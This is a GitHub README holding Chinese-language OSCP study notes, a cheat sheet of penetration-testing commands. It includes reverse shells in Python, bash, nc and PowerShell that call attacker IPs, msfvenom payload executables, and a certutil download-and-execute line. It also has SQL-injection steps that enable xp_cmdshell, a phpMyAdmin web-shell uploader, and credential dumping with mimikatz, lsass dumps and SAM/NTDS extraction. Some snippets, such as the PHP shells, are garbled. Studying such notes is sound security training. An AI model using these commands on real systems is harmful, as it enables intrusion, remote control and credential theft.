LhotseT/0xOSCPNotes

GitHub: LhotseT/0xOSCPNotes

汇总了从信息枚举、服务攻击到系统提权的 OSCP 备考与实战命令速查笔记。

Stars: 0 | Forks: 0

# 0xOSCP 笔记 枚举、漏洞利用和权限提升笔记,汇总于一处。 ## 目录 - [枚举](#enumeration) - [网络扫描](#network-scanning) - [Web 枚举](#web-enumeration) - [信息足迹](#footprinting) - [FTP](#ftp) - [SMB](#smb) - [NFS](#nfs) - [SQL](#sql) - [SMTP](#SMTP) - [漏洞利用](#exploitation) - [攻击常见服务](#attacking-common-services) - [攻击 SMB](#attacking-smb) - [攻击 SQL](#attacking-sql) - [密码攻击](#password-attacks) - [密码变形规则](#password-mutations) - [远程攻击](#remote-attacks) - [破解密码](#cracking-passwords) - [Shell 与 Payload](#shells-&-payloads) - [交互式 Shell TTY](#interactive-shells-tty) - [PHP Shell](#php-shells) - [Python Shell](#python-shells) - [Bash Shell](#bash-shells) - [msfvenom](#msfvenom) - [权限提升](#privilege-escalation) - [Linux 提权](#linux-pe) - [Windows 提权](#windows-pe) - [工具库](#arsenal) - [BURP](#burp) - [TMUX](#tmux) - [Python 虚拟环境](#python-virtual-enviroment) - [文件传输](#file-transfers) - [Windows SMB](#windows-smb) ## 实用网站 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - [HackTricks](https://book.hacktricks.wiki/en/index.html) - [PentestBook](https://pentestbook.six2dez.com/) - [CPTS-CheatSheet](https://github.com/zagnox/CPTS-cheatsheet) - [AD-CheatSheet](https://github.com/scwscw1/OSCP-Active-Directory-Exploitation-Cheat-Sheet.git) # 枚举 ### 网络扫描 ``` # nmap 服务扫描 nmap -sCV -T4 -p- -oN test_scan.txt # nmap udp 扫描 namp -sU --top-ports 100 --min-rate 5000 -oN test_scanudp.txt # 结合 nmap 使用 rustscan rustscan -a -- -sV -sC -oN nmap_output.txt ``` ## Web 枚举 ``` # FFUF 目录扫描 ffuf -w ~/Wordlists/SecLists/Discovery/xx:FUZZ -u http://:x/FUZZ # FFUF 子域名扫描 ffuf -u http://.x -c -w ~/Wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H 'HOST: FUZZ..x' -fs 0 # FFUF vHost 扫描 ffuf -c -w ~/Wordlists/SubDFuzz/subdbig.txt:FUZZ -u http://FUZZ.x.x/ # Dirsearch 目录扫描 dirsearch -h http:/// # Nikto 扫描 nikto -h http:/// # 检查以下内容以获取技术栈信息 /proc/self/environ ``` ## 信息足迹 ### FTP ``` # 连接到 FTP ftp # 与目标上的服务进行交互。 nc -nv # 下载目标 FTP 服务器上所有可用的文件 wget -m --no-passive ftp://anonymous:anonymous@ # 关闭被动模式 passive ``` ### SMB ``` # 连接到 SMB 共享 smbclient /// # 列出共享 smbclient -L //// # 使用 RPC 与目标进行交互 rpcclient -U "" # 使用空会话认证枚举 SMB 共享。 crackmapexec smb --shares -u '' -p '' --shares # 使用 smbclient 下载所有内容 recurse ON prompt OFF mget * ``` ### NFS ``` # 显示可用的 NFS 共享 showmount -e # 挂载特定的 NFS 共享。umount ./target-NFS mount -t nfs :/ ./target-NFS/ -o nolock ``` ### DNS ``` # 向特定名称服务器发送 NS 请求。 dig ns @ # 向特定名称服务器发送 ANY 请求 dig any @ # 向特定名称服务器发送 AXFR 请求。 dig axfr @ ``` ### SQL SQL 注入命令 https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Generic-SQLi.txt 通过 SQLi 配置 xp_cmdshell ``` admin' UNION SELECT 1,2; EXEC sp_configure 'show advanced options', 1--+ admin' UNION SELECT 1,2; RECONFIGURE--+ admin' UNION SELECT 1,2; EXEC sp_configure 'xp_cmdshell', 1--+ admin' UNION SELECT 1,2; RECONFIGURE--+ admin'; exec master..xp_cmdshell 'powershell.exe -e JAdauih1u23h== '-- ``` mysql (如果出现 TSL/SSL 错误,请添加 end 方法) ``` mysql -h -u -p --skip-ssl ``` mssql ``` impacket-mssqlclient @ -windows-auth # 查看数据库 SELECT name FROM sys.databases # 查看表 SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES; # 从表中选择 SELECT * FROM dbo.backupset # 窃取 NTLM msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder #this turns on advanced options and is needed to configure xp_cmdshell sp_configure 'show advanced options', '1' RECONFIGURE #this enables xp_cmdshell sp_configure 'xp_cmdshell', '1' RECONFIGURE # 通过 xp_cmdshell 快速检查服务账户 EXEC master..xp_cmdshell 'whoami' # 用于 SMB 哈希连接的 Web URL SQLi。使用 responder 监听 http:///test?test=1; EXEC master ..xp_dirtree '\\10.10.15.237\test'; -- ``` ``` SHELL UPLOADER PHPMYADMIN SELECT "\';echo \'\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'Upload Done.

\'; }else { echo \'Upload Failed.

\'; }}?>" INTO OUTFILE 'C:/wamp/www/uploader.php'; ``` ### SMTP ``` # 制作恶意的 ODT 文件反向 shell python3 mmg-ods.py windows # 制作恶意的 ODT 文件以获取 NetNTLM 哈希 python3 badodt.py # 使用 Swaks 发送电子邮件 swaks --from getpwned@pwned.com --to career@job.local --header 'Subject: LhotseCV' --body 'Below is my attached CV' -attach @file.txt --server ``` # 漏洞利用 ## 攻击常见服务 ### 攻击 SMB ``` # 使用 smbmap 进行网络共享枚举。 smbmap -H # 使用 rpcclient 进行空会话。 rpcclient -U'%' # 使用 crackmapexec 通过 SMB 服务执行命令。 crackmapexec smb -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec # 从 SAM 数据库中提取哈希。 crackmapexec smb -u administrator -p 'Password123!' --sam # 使用 impacket-ntlmrelayx 转储 SAM 数据库。 impacket-ntlmrelayx --no-http-server -smb2support -t ``` ### 攻击 SQL ``` # SQL xp_cmdshell EXECUTE sp_configure 'show advanced options', 1 EXECUTE sp_configure 'xp_cmdshell', 1 RECONFIGURE xp_cmdshell 'whoami' ``` ## 密码攻击 ### 密码变形规则 ``` # 使用 cewl 根据网站上出现的关键词生成字典。 cewl https:/// -d 4 -m 6 --lowercase -w TARGET.wordlist # cewl 生成最小 5 个单词且深度为 5 的字典 cewl -d 5 -m 3 http:/// > TARGET.txt # Hashcat 生成基于规则的字典。 hashcat --force password.list -r custom.rule --stdout > mut_password.list # 使用 username-anarchy 配合预先制作的名字和姓氏列表生成潜在用户名列表。 ./username-anarchy -i /path/to/listoffirstandlastnames.txt ``` ### 远程攻击 ``` # Hydra 结合用户列表和密码列表尝试通过指定服务破解密码。 hydra -L user.list -P password.list :// # CrackMapExec 结合管理员凭据通过网络转储存储在 SAM 中的密码哈希。 crackmapexec smb --local-auth -u -p --sam # CrackMapExec 使用管理员凭据通过网络转储 lsa secrets。 crackmapexec smb --local-auth -u -p --lsa # CrackMapExec 使用管理员凭据通过网络从 ntds 文件转储哈希。 crackmapexec smb -u -p --ntds # Hydra 对 HTML http-post-form 发起登录攻击 hydra -l admin -P 2023-200_most_used_passwords.txt -f -s 80 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid username or pass" # 自定义密码策略 crackmapexec smb -u avazquez -p Password123 --pass-pol # WPScan 使用 xmlrpc 进行 WordPress 密码攻击 sudo wpscan --password-attack xmlrpc -t 20 -U -P ~/Wordlists/rockyou.txt --url http:/// sudo wpscan --url http://192.168.163.239/ -e u -P ~/Wordlists/Passwords/rockyou.txt ``` ### 破解密码 ``` # Hashcat 破解给定的哈希 hashcat -m 1000 /usr/share/wordlists/rockyou.txt # John 破解给定的哈希 john --wordlist=rockyou.txt pdf.hash --show # unshadow 将 passwd.bak 和 shadow.bk 中的数据合并为一个文件以准备破解。 unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes # Hashcat 破解 unshadow 处理后的哈希并输出到名为 unshadowed.cracked 的文件。 hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked # 针对受保护的 .docx 文件运行 2john.py 并将其转换为存储在名为 protected-docx.hash 文件中的哈希。 office2john Protected.docx > protected-docx.hash keepass2john Protected.kdbx > protected-kdbx.hash bitlocker2john Protected.raw > protected-bl.hash zip2john Protected.zip > protected-zip.hash pdf2john Protected.pdf > protected-pdf.hash ``` ## Shell 与 Payload - [RevShell-CheatSheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) ### 交互式 Shell TTY ``` python -c 'import pty; pty.spawn("/bin/sh")' python -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' (crtl + z) stty raw -echo && fg export TERM=xterm # 从已建立的 shell 调用 shell python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` ### PHP Shell ``` # 简单 Web Shell -e /bin/bash')?> & /dev/tcp/192.168.45.225/445 0>&1'");?> echo "" > /var/backups/database-backup.php ``` ### Python Shell ``` # Python 反向 Shell python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.45.241\",445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")" ``` ### Bash Shell ``` # Bash 反向 Shell bash -i >& /dev/tcp// 0>&1 # 封装的 Bash Shell bash -c "bash -i >& /dev/tcp// 0>&1" # Busybox busybox nc -e sh ``` ### Windows Shell 添加到 nishang 的 Invoke-PowerShellTcp.ps1 文件末尾 ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.52 -Port 1337 ``` 使用 msfvenom 制作 .exe 并规避潜在坏字符 ``` msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.199 LPORT=443 -b '\x00\x01\x0d' -f exe -o revshell.exe ``` 使用 Certutil 上传并执行文件 ``` certutil.exe -f -urlcache -split http://192.168.45.199:8000/revshell.exe c:\windows\temp\revshell.exe && cmd.exe /c c:\windows\temp\revshell.exe ``` ### msfvenom ``` # 列出 payload msfvenom -l payloads # 无阶段 payload msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=1337 -f elf > createbackup.elf # Windows payload msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > Revenue.exe ``` # 权限提升 ## Linux 提权 - [GTFOBins](https://gtfobins.github.io/) - [pspy](https://www.kali.org/tools/pspy/) - [linpeas](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) - [enum4linux](https://www.kali.org/tools/enum4linux/) ### Linux 搜索 ``` # 像 tree /F /A 一样列出目录 ls -la -R # 搜索文件类型 find . -type f -iname '*db*' -print # 在文件中搜索用户名 grep -Ri 'USER' . # 搜索可写文件 find / -writable -type d 2>/dev/null # 搜索 SUID find / -perm -u=s -type f 2>/dev/null # 搜索 Capabilities find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \; # 搜索特定用户的可执行文件和文件 find / -user USER -perm -u=wrx 2>/dev/null # 搜索以 root 身份运行的进程 ps auxww | grep root # 检查权限 ls -l / # 创建超级用户 echo 'superroot:sXuCKi7k3Xh/s:0:0::/root:/bin/bash' > fkpasswd ``` ### Docker 用户组 ``` # 检查组以及 docker.sock 是否为 root 所有 etent group docker docker:x:115:selena ls -l /var/run/docker.sock srw-rw---- 1 root docker 0 Mar 1 2025 /var/run/docker.sock # 以 root 身份生成交互式 shell docker run -v /:/mnt --rm -it alpine chroot /mnt sh ``` ## Windows 提权 ### 权限 ``` # 列出凭据管理器中的密码 cmdkey /list # 在...中搜索字符串 findstr /SIM /C:"pass" *.ini *.cfg *.config *.xml ``` ``` # 列出用户权限 whoami /priv # 列出用户组 whoami /groups # 检查计划任务 wmic process get Name,ProcessId,CreationDate # 快速 PowerShell 上传传输 powershell iwr 10.10.16.52/nothinghere.aspx -outfile "C:\inetpub\wwwroot\nothinghere.aspx" # 使用 PowerUp.ps1 进行枚举 C:\Users\Public>powershell -command "& { . .\PowerUp.ps1; Invoke-AllChecks | Out-File -Encoding ASCII powerup_output.txt }" # SeImpersonate 和 SeAssignPrimaryToken c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe -e cmd.exe" -t * c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe -e cmd" # 如果需要 CLSID reg query HKCR\CLSID /s /f LocalService HKEY_CLASSES_ROOT\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820} LocalService REG_SZ winmgmt HKEY_CLASSES_ROOT\CLSID\{C49E32C6-BC8B-11d2-85D4-00105A1F8304} LocalService REG_SZ winmgmt .\juicypotato.exe -l 1337 -c "{C49E32C6-BC8B-11d2-85D4-00105A1F8304}" -p c:\windows\system32\cmd.exe -a " /c c:\windows\temp\nc.exe -e cmd.exe 10.10.16.2 1337" -t * # Always Install Elevated PS C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer AlwaysInstallElevated REG_DWORD 0x1 # SeDebugPrivilege procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz # log mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords # SeTakeOwnershipPrivilege Import-Module .\Enable-Privilege.ps1 PS C:\htb> .\EnableAllTokenPrivs.ps1 # 选择目标 Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }} # 检查所有权并获取文件所有权 cmd /c dir /q 'C:\Department Shares\Private\IT' takeown /f 'C:\Department Shares\Private\IT\cred.txt' # 如有需要修改 ACL icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F ``` 不要忘记使用 SysinternalsSuite ### Windows 子系统枚举 - [WindowsPrivESC](https://admiralgaust.github.io/OSCP-notes/privEsc/windows.html) ``` Get-ChildItem HKCU:\Software\Microsoft\Windows\CurrentVersion\Lxss | %{Get-ItemProperty $_.PSPath} | out-string -width 4096 ``` # 工具库 ## BURP ``` # 修复 burp 证书 Visit http://burp using pwnfox and select CA Certificate in the top right. Once downloaded head to FireFox settings and search Certificates and import it. # BLOODHOUND CLASH netstat -lntp | grep 8080 sudo kill ``` ## TMUX ``` Adding executables to PATH echo 'export PATH=$PATH:/usr/share/doc/python3-impacket/examples' >> ~/.zshrc source ~/.zshrc ``` ``` # 更清晰的名称格式 crlt + alt + p # 启动一个新的 tmux 会话 tmux new -s # 启动一个新会话或连接到名为 mysession 的现有会话 tmux new-session -A -s # 列出所有会话 tmux ls # 终止/删除会话 tmux kill-session -t # 终止除当前会话外的所有会话 tmux kill-session -a # 连接到上一个会话 tmux a tmux a -t #PREFIX IS CTRL B # 新会话 Prefix + : # 切换会话 Prefix + s # 进入复制模式 & 页面滚动 prefix = [ then page up or down # 高亮并复制 v to highlight y to copy prefix + ] to paste # 搜索单词 ? forward search / backward search n N to cycle through Move left/right by character h / l Move left/right by word w / b / e Move up/down by line k / j Move screenful up/down Ctrl+b then PageUp/PageDown (or Ctrl+u / Ctrl+d in copy mode) Jump to start/end of line 0 / $ Jump to start/end of buffer g / G Search forward/backward / / ? (like Vim) Repeat last search n / N # 使用 tmux logger 开始/停止日志记录 prefix + [Shift + P] # 垂直分割 tmux 窗格 prefix + [Shift + %} # 水平分割 tmux 窗格 prefix + [Shift + "] # 在 tmux 窗格之间切换 prefix + [Shift + O] ``` ## Python 虚拟环境 ``` python3 -m venv /.venv source venv/bin/activate deactivate ``` 使用 python2 安装软件包。获取 pip2 ``` curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ``` ## 文件传输 ### Windows SMB ``` # 设置恶意共享 sudo python3 smbserver.py share -smb2support /tmp/smbshare -username test -password test # 通过 Windows 主机连接 C:\htb> net use n: \\192.168.220.133\share /user:test test ```
标签:Active Directory, AI合规, Bash, Bitdefender, Burp Suite, Cheatsheet, CPTS, CSV导出, CTI, DOS头擦除, Enumeration, ethical hacking, Exploitation, FFUF, HackTheBox, Hashcat, Hydra, Linux 提权, Msfvenom, NFS, Nmap, OSCP 备考, Payload, PE 加载器, PHP Shell, Plaso, Privilege Escalation, Python Shell, Reverse Shell, SMB, SMTP, SQL, TMUX, TryHackMe, Web报告查看器, Web 枚举, Windows 提权, 云存储安全, 协议分析, 反弹 Shell, 域名收集, 域渗透, 备忘录, 大数据, 威胁模拟, 子域名挖掘, 安全笔记, 密码攻击, 密码破解, 密码管理, 应用安全, 插件系统, 文件传输, 权限提升, 枚举, 电子数据取证, 目录扫描, 系统审计, 网络安全, 网络扫描, 虚拟驱动器, 逆向工具, 错误配置检测, 隐私保护